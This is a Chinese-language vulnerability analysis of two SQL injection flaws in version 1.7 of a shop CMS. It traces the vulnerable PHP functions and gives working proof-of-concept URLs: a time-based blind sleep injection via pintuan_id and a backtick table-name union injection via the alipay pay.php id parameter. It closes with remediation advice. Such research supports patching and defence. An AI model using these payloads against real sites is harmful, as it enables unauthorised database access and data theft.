前言
某商城cms1.7版本中中存在两个前台注入漏洞。话不多说,直接进入分析。
SQL注入①
分析
我们直接定位到漏洞存在点 module/index/cart.php :12-32 行处。
case 'pintuan':
$product_id = intval($_g_id);
$product_guid = intval($_g_guid);
$product_num = intval($_g_num);
if (!user_checkguest()) pe_jsonshow(array('result'=>false, 'show'=>'请先登录'));
//检测库存
$product = product_buyinfo($product_guid);
if (!$product['product_id']) pe_jsonshow(array('result'=>false, 'show'=>'商品下架或失效'));
if ($product['product_num'] < $product_num) pe_jsonshow(array('result'=>false, 'show'=>"库存仅剩{$product['product_num']}件"));
//检测虚拟商品
if ($act == 'add' && $product['product_type'] == 'virtual') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车'));
//检测拼团
if ($act == 'add' && $product['huodong_type'] == 'pintuan') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车'));
if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或结束'));
$cart = $db->pe_select('cart', array('cart_act'=>'cart', 'user_id'=>$user_id, 'product_guid'=>$product_guid));
if ($act == 'add' && $cart['cart_id']) {
$sql_set['product_num'] = $cart['product_num'] + $product_num;
if ($product['product_num'] < $sql_set['product_num']) pe_jsonshow(array('result'=>false, 'show'=>"库存仅剩{$product['product_num']}件"));
if (!$db->pe_update('cart', array('cart_id'=>$cart['cart_id']), $sql_set)) pe_jsonshow(array('result'=>false, 'show'=>'异常请重新操作'));
$cart_id = $cart['cart_id'];
}
可以看到对进入"pintuan分支后",对参数进行了强制转整数。那这三个参数基本不用想了。
然后继续阅读代码,注意到
if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或结束'));
这里出现了$_g_pintuan_id这个参数。find一下发现代码并没有对他进行任何操作。那么这里可能是存在注入的。
我们定位到pintuan_check函数处。
function pintuan_check($huodong_id, $pintuan_id = 0) {
global $db;
if ($pintuan_id) {
$info = $db->pe_select('pintuan', array('pintuan_id'=>$pintuan_id));
if (!$info['pintuan_id']) return false;
if (in_array($info['pintuan_state'], array('success', 'close'))) return false;
}
else {
$info = $db->pe_select('huodong', array('huodong_id'=>$huodong_id));
if (!$info['huodong_id']) return false;
if ($info['huodong_stime'] > time() or $info['huodong_etime'] <= time()) return false;
}
return true;
}
可以看到这个函数同样没有对$pintuan_id做过滤,直接将它拼接到了pe_select这个函数中。
虽然pintuan_check只会返回ture或者false,不会返回数据,但是我们只需要他执行了sql语句就够了。
继续跟进到pe_select。
public function pe_select($table, $where = '', $field = '*')
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}
此时pintuan_id的值被赋予到了where处。
然后调用了_dowhere进行处理。之后将处理过的语句直接拼接到了sql语句中。
跟进_dowhere看一下它是怎么处理的。
protected function _dowhere($where)
{
if (is_array($where)) {
foreach ($where as $k => $v) {
$k = str_ireplace('`', '', $k);
if (is_array($v)) {
$where_arr[] = "`{$k}` in('".implode("','", $v)."')";
}
else {
in_array($k, array('order by', 'group by')) ? ($sqlby .= " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'");
}
}
$sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby;
}
else {
$where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}";
}
return $sqlwhere;
}
首先pintuan_id在pintuan_check处被数组化。所以直接进入if分支。
将键名中的反引号替换为空。
之后就是正常的替换order by和设置where语句。
返回pe_select,跟进到sql_select中。
public function sql_select($sql)
{
$row = array();
echo $sql;
return $row = $this->fetch_assoc($this->query($sql));
}
调用了query来处理sql语句。
继续跟进query函数
public function query($sql)
{
$this->sql[] = $sql;
if ($this->link_type == 'mysqli') {
$result = mysqli_query($this->link, $sql);
if ($sqlerror = mysqli_error($this->link)) $this->sql[] = $sqlerror;
}
else {
$result = mysql_query($sql, $this->link);
if ($sqlerror = mysql_error($this->link)) $this->sql[] = $sqlerror;
}
return $result;
}
调用了 mysqli_query语句查询。
那么pintan_id传递的整个流程就是
pintuan_check( )
db->pe_select( )
db->sql_select( )
db->query()
mysqli_query
构造poc
首先登陆一个用户,然后构造语句
pintuan_id=%27%20and%20if((1=1),sleep(5)),1)--%201
经过上述函数的处理后得到sql语句为
select * from `pe_pintuan` where `pintuan_id` = '' and if((1=1),sleep(5)),1)-- 1' limit 1
但是我们并没有成功延时,百思不得其解后在本地进行测试。
同样没有延时,突然想到 pe_pintuan这个表是空表,那么后面的sleep不会执行。
我们需要构造一个子查询来执行语句。
成功延时,然后在网站上进行注入尝试。
http://127.0.0.1/phpshe//index.php?mod=cart&act=pintuan&guid=1&id=1&num=&pintuan_id=%27%20and%20(if((1=1),(select%20*%20from%20(select%20sleep(5))a),1))--%201
成功注入。
SQL注入②
分析
第二个注入是一个union注入,注入点在include/plugin/payment/alipay/pay.php:34-35处
$order_id = pe_dbhold($_g_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
首先对$order_id做了过滤处理。
跟进看一下pe_dbhold的具体操作。
function pe_dbhold($str, $exc=array())
{
if (is_array($str)) {
foreach($str as $k => $v) {
$str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
}
}
else {
//$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
$str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
}
return $str;
}
对参数进行了转义。我们无法闭合where后面的引号,但是别着急,
再跟进一下order_table函数
function order_table($id) {
if (stripos($id, '_') !== false) {
$id_arr = explode('_', $id);
return "order_{$id_arr[0]}";
}
else {
return "order";
}
}
如果提交的参数中含有下划线,会返回下划线前的内容。
否则返回字符串order。
至于pe_select 我们已经分析过了,但是如果我们选择从table处注入,那么就不需要闭合单引号,使用反引号闭合table即可,那么就绕过了转义操作。
public function pe_select($table, $where = '', $field = '*')
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}
构造poc
尝试构造一下联合查询注入语句
/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12--%20_
此时传入query的语句就是
select * from `pe_order_pay` where 1=1 union select user(),2,3,4,5,6,7,8,9,10,11,12--
成功绕过了转义,并且将数据打印了出来
总结
第一处注入点如果pintuan不是空表的话会很容易注入,存在原因也是没有对可控参数进行过滤。
第二处注入点已经做到了对参数的转义,但是由于table得值处仍然使用了这个参数来获取,并且将table直接拼接到了查询语句中,依旧造成了查询。
我认为这个cms存在这么多注入漏洞的主要原因是将安全防护函数与DB操作函数分开定义,总是会存在调用了DB操作函数时忘了调用过滤函数的情况。建议在pe_select函数等DB操作函数中加入过滤语句。